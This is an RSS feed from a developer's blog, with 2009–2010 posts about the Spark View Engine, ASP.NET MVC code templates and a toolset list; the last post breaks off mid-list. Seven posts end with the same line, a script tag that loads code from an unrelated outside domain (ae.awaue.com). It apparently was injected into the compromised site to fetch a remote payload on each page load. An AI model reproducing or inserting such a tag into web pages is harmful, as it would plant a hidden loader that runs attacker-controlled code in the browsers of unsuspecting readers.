<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; Spark</title>
	<atom:link href="http://eric.polerecky.com/archives/category/spark/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Spark CodeTemplates</title>
		<link>http://eric.polerecky.com/archives/spark-codetemplates/</link>
		<comments>http://eric.polerecky.com/archives/spark-codetemplates/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 17:54:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-codetemplates/</guid>
		<description><![CDATA[<br/>While my solution compiles, 80 projects, I started working on ASP.NET MVC CodeTemplates for Spark View Engine. They are available in my GitHub repo. Feel free to fork and extend!
http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/



Related posts:Spark Binaries For ASP.NET MVC RC2 THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...
ASP.NET MVC Spark Support ASP.NET MVC 2 supports Spark! What?


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>While my solution compiles, 80 projects, I started working on ASP.NET MVC CodeTemplates for Spark View Engine. They are available in my GitHub repo. Feel free to fork and extend!</p>
<p><a href="http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/"><u><font color="#0066cc">http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/</font></u></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-codetemplates/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC Spark Support</title>
		<link>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 23:29:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/asp-net-mvc-spark-support/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC 2 supports Spark!
What? hear me out. The release of ASP.NET MVC 2 includes an amazing hidden gem. You see the “Add View/Controller” dialog now takes into account a T4 directive “output extension”. 
Getting started with Custom CodeTemplates
To get started with Custom CodeTemplates check out this excellent article by K. Scott Allen
Getting started with


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>ASP.NET MVC 2 supports Spark!</p>
<p>What? hear me out. The release of ASP.NET MVC 2 includes an amazing hidden gem. You see the “Add View/Controller” dialog now takes into account a T4 directive “output extension”. </p>
<h4>Getting started with Custom CodeTemplates</h4>
<p>To get started with Custom CodeTemplates check out this <a href="http://msdn.microsoft.com/en-us/magazine/ee291528.aspx">excellent article</a> by <a href="http://odetocode.com/blogs/scott/">K. Scott Allen</a></p>
<h4>Getting started with Custom CodeTemplates and Spark</h4>
<ol>
<li>At the top of your templates add the output extension as shown below.</li>
<li>Modify the template to use spark.</li>
</ol>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/03/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/03/image_thumb.png" width="422" height="172" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spark View Engine 1.1</title>
		<link>http://eric.polerecky.com/archives/spark-view-engine-1-1/</link>
		<comments>http://eric.polerecky.com/archives/spark-view-engine-1-1/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 20:31:14 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-view-engine-1-1/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC 2 was RTM’ed today and with the help of Jay Harris &#8211; @jayharris we upgraded our rather large codebase to not only ASP.NET MVC 2 RTM but also a new drop of the Spark View Engine built against the RTM. 
Since the release of Spark View Engine 1.1 RC a few weeks ago


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>ASP.NET MVC 2 was RTM’ed today and with the help of <a href="http://www.cptloadtest.com/">Jay Harris</a> &#8211; <a href="http://twitter.com/jayharris/">@jayharris</a> we upgraded our rather large codebase to not only ASP.NET MVC 2 RTM but also a new drop of the Spark View Engine built against the RTM. </p>
<p>Since the release of Spark View Engine 1.1 RC a few weeks ago there have been some minor bugs/enhancements identified but no blockers. The update to RTM was nothing more then changing the assembly reference, build number and running the build script. </p>
<p>These changes are not yet reflected in on the GitHub source. I’m sure there will be a pull request or <a href="http://whereslou.com/">Lou</a> &#8211; <a href="http://twitter.com/loudej">@loudej</a> will update master pretty quickly. </p>
<p>Head over to <a href="http://sparkviewengine.codeplex.com/releases/view/27601">CodePlex</a> to download the new release and of course thanks to Lou for building an amazing tool.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-view-engine-1-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spark Binaries For ASP.NET MVC RC2</title>
		<link>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/</link>
		<comments>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 02:03:17 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>THIS IS NOT AN OFFICAL RELEASE…YET
I spent the evening updating the spark source to support ASP.NET MVC RC/RC2. Well, actually I simply applied the changes that were posted to either the mailing list or codeplex. 
All the tests pass:
 
Download it here:
Binaries: Spark-1.0.1.0-release.zip
Source: Spark-1.0.1.0-source.zip
This post, hopefully, won’t be up long.



No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><h2>THIS IS NOT AN OFFICAL RELEASE…YET</h2>
<p>I spent the evening updating the spark source to support ASP.NET MVC RC/RC2. Well, actually I simply applied the changes that were posted to either the mailing list or codeplex. </p>
<p>All the tests pass:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/02/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/02/image_thumb.png" width="485" height="192" /></a> </p>
<p>Download it here:</p>
<p>Binaries: <a title="Spark-1.0.1.0-release" href="http://usethefeatures.com/downloads/Spark-1.0.1.0-release.zip" target="_blank">Spark-1.0.1.0-release.zip</a></p>
<p>Source: <a title="Spark-1.0.1.0-source" href="http://usethefeatures.com/downloads/Spark-1.0.1.0-source.zip" target="_blank">Spark-1.0.1.0-source.zip</a></p>
<p>This post, hopefully, won’t be up long.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC2 To Provide Real Spark Support</title>
		<link>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 05:01:53 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Ok, that might be going a little too far but it sounds like the barrier I wrote about a few weeks ago might be going away.
Earlier this evening Phil Haack posted this tweet:
 
Excited to hear this I asked a leading implementation question about honoring the output extension directive in T4 templates. 
 
Us old-timer


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Ok, that might be going a little too far but it sounds like the barrier I <a href="http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/" target="_blank">wrote about</a> a few weeks ago might be going away.</p>
<p>Earlier this evening <a href="http://haacked.com/" target="_blank">Phil Haack</a> posted this tweet:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb4.png" width="244" height="167" /></a> </p>
<p>Excited to hear this I asked a leading implementation question about honoring the output extension directive in T4 templates. </p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb5.png" width="244" height="170" /></a> </p>
<p>Us old-timer remember the almost year before ASP.NET MVC 1.0, when we had not tooling support inside visual studio. Right before 1.0 was released we got right-click view/controller support and it made a world of difference. I honestly believe that without the GUI integration, <strong>that pushed us to use strong-typed views</strong>, MVC would have taken longer to get into less progressive shops. </p>
<p>I’m really excited about MVC2 …but it still needs a logo.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb6.png" width="244" height="154" /></a> </p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image7.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb7.png" width="244" height="171" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC: Not That Open Source</title>
		<link>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 18:53:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=424</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. 
 
This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&#62;


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><div style="text-align: left; margin: 10px auto; display: block">ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. </div>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb.png" width="520" height="209" /></a> </p>
<p>This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&gt; Crud” would make just the right tool.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image1.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb1.png" width="447" height="441" /></a> </p>
<h2>Idea</h2>
<p>ASP.NET MVC provides customizable code templates for the view/controller content. There are a few <a href="http://blogs.msdn.com/webdevtools/archive/2009/01/29/t4-templates-a-quick-start-guide-for-asp-net-mvc-developers.aspx" target="_blank">really good</a> articles on how to get started. </p>
<h2>Plan</h2>
<ol>
<li>Include the CodeTemplates in my project</li>
<li>Change the output extention to .spark     </li>
<ol>
<li><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb2.png" width="419" height="63" /></a>         </li>
</ol>
<li>Modify the markup to sparkup</li>
<li>Phase 3: <a href="http://www.southparkcows.com/scripts/217.pdf" target="_blank">Profit</a>.</li>
</ol>
<h2>Problem</h2>
<p>ASP.NET MVC uses a custom tool to process the T4 templates. </p>
<pre class="prettyprint"><code><span class="str">MvcTextTemplateHost</span></code></pre>
<p><strong>It ignores the output extension directive in T4 templates.</strong></p>
<p><strong>(Click play)</strong></p>
<div style="text-align: left; margin: 10px auto; display: block"><embed src="http://media.entertonement.com/embed/OpenEntPlayer.swf" id="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" name="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" flashvars="auto_play=false&#038;clip_pid=bdhxnqttjj&#038;e=&#038;id=1_76b5fbc6_fc07_11de_9365_0019b9e56dac&#038;skin_pid=wfxswdnlkf" width="300" height="30" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="always" wmode="transparent"></embed><img style="padding-bottom: 0px; margin: 0px; padding-left: 0px; width: 0px; padding-right: 0px; float: right; height: 0px; visibility: hidden; padding-top: 0px" border="0" alt="The Price is Right Losing Horns sound bite" src="http://www.entertonement.com/widgets/img/clip/bdhxnqttjj/1/1_76b5fbc6_fc07_11de_9365_0019b9e56dac/blank.gif" width="0" height="0" /></div>
</p>
<h2>Sadness</h2>
<p>MvcTextTemplateHost is included in Microsoft.VisualStudio.Web.Extensions.dll and this DLL that is not “part” of MVC code that was open sourced. </p>
<h2>Conclusion</h2>
<p>I’d love to write a Visual Studio addin to create spark views but I just don’t have the time. However; I do wonder if I can just have spark parse the .aspx and .ascx files.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Spark with VB.NET Project Demo #2</title>
		<link>http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/</link>
		<comments>http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 15:29:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Outline:

Status of using spark in a VB.NET project 
Bugs from Spark Demo #1 
Strongly Typed Views 





No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Outline:</p>
<ul>
<li>Status of using <a href="http://sparkviewengine.com/" target="_blank">spark</a> in a VB.NET project </li>
<li>Bugs from Spark Demo #1 </li>
<li>Strongly Typed Views </li>
</ul>
<p><object width="640" height="498" data="/SparkDemo2/SparkDemo2_controller.swf" type="application/x-shockwave-flash"><param name="name" value="csSWF" /><param name="bgcolor" value="#1a1a1a" /><param name="flashvars" value="autostart=false&amp;thumb=FirstFrame.png&amp;thumbscale=45&amp;color=0x000000,0x000000" /><param name="src" value="/SparkDemo2/SparkDemo2_controller.swf" /><param name="allowfullscreen" value="true" /><param name="quality" value="best" /></object></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Toolset 2009</title>
		<link>http://eric.polerecky.com/archives/toolset-2009/</link>
		<comments>http://eric.polerecky.com/archives/toolset-2009/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 17:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[ASP.NET MVC Futures]]></category>
		<category><![CDATA[AutoMapper]]></category>
		<category><![CDATA[CruiseControl.NET]]></category>
		<category><![CDATA[Entity Framework]]></category>
		<category><![CDATA[Facebox]]></category>
		<category><![CDATA[Feedreader]]></category>
		<category><![CDATA[FxCop]]></category>
		<category><![CDATA[LINQPad]]></category>
		<category><![CDATA[MSTest]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[SourceMonitor]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[WebSVN]]></category>
		<category><![CDATA[iTextSharp]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=340</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and very complex systems. They have done it all with either the bare minimum in tooling or a incorrect implementation of the tooling.</p>
<p>In fact; one of their primary reasons for moving to .NET was to perform a tooling reset. They decided it was too hard to use technology like OR/M, DI, Messaging, and MVC. The figured that (straight from the horse mouth) “Webforms, ADO.NET and SQL” is all we need. I don’t even understand that statement…anyway…<strong><em>back to the tools</em></strong></p>
<p>Of course I believe this is all based on the improper use of technology. As they say “Any tool can become a weapon if held properly”. unfortunately for me and future developers with this client. The technology that was so frond upon is the tool that….um…well…never mind.</p>
<p>All I am trying to say is that I’ve been pretty tied into some specific Microsoft technology most of the year. Most of the tools on this list had to pass through a standards committee meeting and some are still under the radar…<strong><em>Ok on with the tools!</em></strong></p>
<h6>Visual Studio 2008 (2005, Visual Basic, Dreamweaver)</h6>
<p>Thankfully most of my work is new development so I spend a bulk of my time in Visual Studio 2008. Unfortunately is not TFS so my task tracking is handled outside….if at all. Also there are no productivity plug-ins available, I even asked if I could install my own…so no ReShaper or Visual SVN</p>
<h6>ASP.NET 3.5 SP1 VB.NET</h6>
<p>With most of my work new development I do get to keep up with the .NET version. I am REALLY looking forward to .NET 4 (its just 4 right?…I heard someone from MS flies out and you get your hand slapped if you call it 4.0)</p>
<h6>ASP.NET MVC</h6>
<p>Yeah! what more can I say.</p>
<h6>ASP.NET MVC Futures</h6>
<p>This one has not passed through the development standards committee yet but since I also sit on the committee I don’t think it will be much of a fight. Really I only use it for Html.RenderAction</p>
<h6>WCF</h6>
<p>The tooling is rough but the technology is solid. I am really happy with WCF and hope it infects my clients….but I feel that will stick with asmx for a few more YEARS….</p>
<h6>EF</h6>
<p>I am just not ready to fight for Nhibernate just yet…I have a new project starting around the 20th, as with every new project I try to push through one new technology. I think this one will finally get a OR/M.</p>
<p>I do like where MS is going with EF and look forward to EF 4, isn’t that what its called in .NET 4.0?, but as much as I work with EF 1 ….man its rough. I’ve often considered using Linq2Sql and building on top ala <a href="http://blog.wekeroad.com/category/mvc-storefront" target="_blank">Rob Conery’s MVC Storefront</a>.</p>
<h6>AutoMapper</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">A convention-based object-object mapper.      </p>
<p>AutoMapper uses a fluent configuration API to define an object-object mapping strategy. AutoMapper uses a convention-based matching algorithm to match up source to destination values. Currently, AutoMapper is geared towards model projection scenarios to flatten complex object models to DTOs and other simple objects, whose design is better suited for serialization, communication, messaging, or simply an anti-corruption layer between the domain and application layer.</span></p>
<h6>iTextSharp</h6>
<p><a href="http://itextsharp.sourceforge.net/" target="_blank">iTextSharp</a> is a port of the <a href="http://www.lowagie.com/iText/" target="_blank"><u><font color="#0066cc">iText, a free Java-Pdf library</font></u></a>.</p>
<h6>Unity</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://codeplex.com/unity" target="_blank">Unity Application Block (Unity)</a> is a lightweight extensible dependency injection container with support for constructor, property, and method call injection.</span></p>
<h6>MSTest (unit testing)</h6>
<p>Still using the default unit testing framework. Right now I am really focused on getting more developers to write tests…anything…please. Really; there are no tests. Functional testing by non-technical people is NOT testing. Crap…I feel another post coming on…</p>
<h6>LINQPad</h6>
<p>I am a big fan of LINQ!</p>
<p><b><a href="http://www.linqpad.net/" target="_blank">LINQPad</a></b> lets you interactively query SQL databases in a <i>modern query language</i>: <b>LINQ.&#160; </b>Kiss goodbye to SQL Management Studio!</p>
<p>LINQPad supports everything in C# 3.0 and Framework 3.5:</p>
<ul>
<li>LINQ to Objects </li>
<li>LINQ to SQL </li>
<li>Entity Framework </li>
<li>LINQ to XML </li>
</ul>
<h6>Spark View Engine</h6>
<p><a href="http://sparkviewengine.com/" target="_blank">Spark</a> is a view engine for <a href="http://www.asp.net/mvc/" target="_blank">Asp.Net Mvc</a> and Castle Project MonoRail frameworks. The idea is to allow the html to dominate the flow and the code to fit seamlessly.</p>
<p>It should be noted that I am pretty new to spark and I am testing it in some personal projects to see if its worth bringing into a client. BUT the client has a strict VB only stance…so my testing will not only be standard spark stuff but doing so in a VB.NET MVC project….check out the videos.</p>
<h6>jQuery</h6>
<p><a href="http://jquery.com/" target="_blank">jQuery</a> is a fast and concise JavaScript Library that simplifies HTML document traversing, event handling, animating, and Ajax interactions for rapid web development. <strong><a href="http://jquery.com/" target="_blank">jQuery</a> is designed to change the way that you write JavaScript.</strong></p>
<p>I am a JavaScript nut…primarrly <strong><a href="http://jquery.com/" target="_blank">jQuery</a></strong> and <a href="http://www.dojotoolkit.org/" target="_blank">Dojo</a>…really happy to see it in MVC because it was denied by my largest client until it started coming out of File-&gt;New Project…..Thanks Microsoft</p>
<h6>jQuery Facebox w/ homegrown iframe support</h6>
<p><a href="http://famspam.com/facebox" target="_blank">Facebox</a> is a jQuery-based, Facebook-style lightbox which can display images, divs, or entire remote pages. It&#8217;s simple to use and easy on the eyes. </p>
<p>Bringing in modals was a lot of work; demos, meetings, documents, etc….we went with thickbox….I am using facebox with support for iframe content.</p>
<h6>CruiseControl.NET</h6>
<p><b><a href="http://confluence.public.thoughtworks.org/display/CCNET/Welcome+to+CruiseControl.NET" target="_blank">CruiseControl.NET</a></b> is an Automated Continuous Integration server, implemented using the Microsoft .NET Framework. Again; under the radar…I have a ccnet server running on my desktop…</p>
<h6>FxCop</h6>
<p>FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.</p>
<h6>SVN</h6>
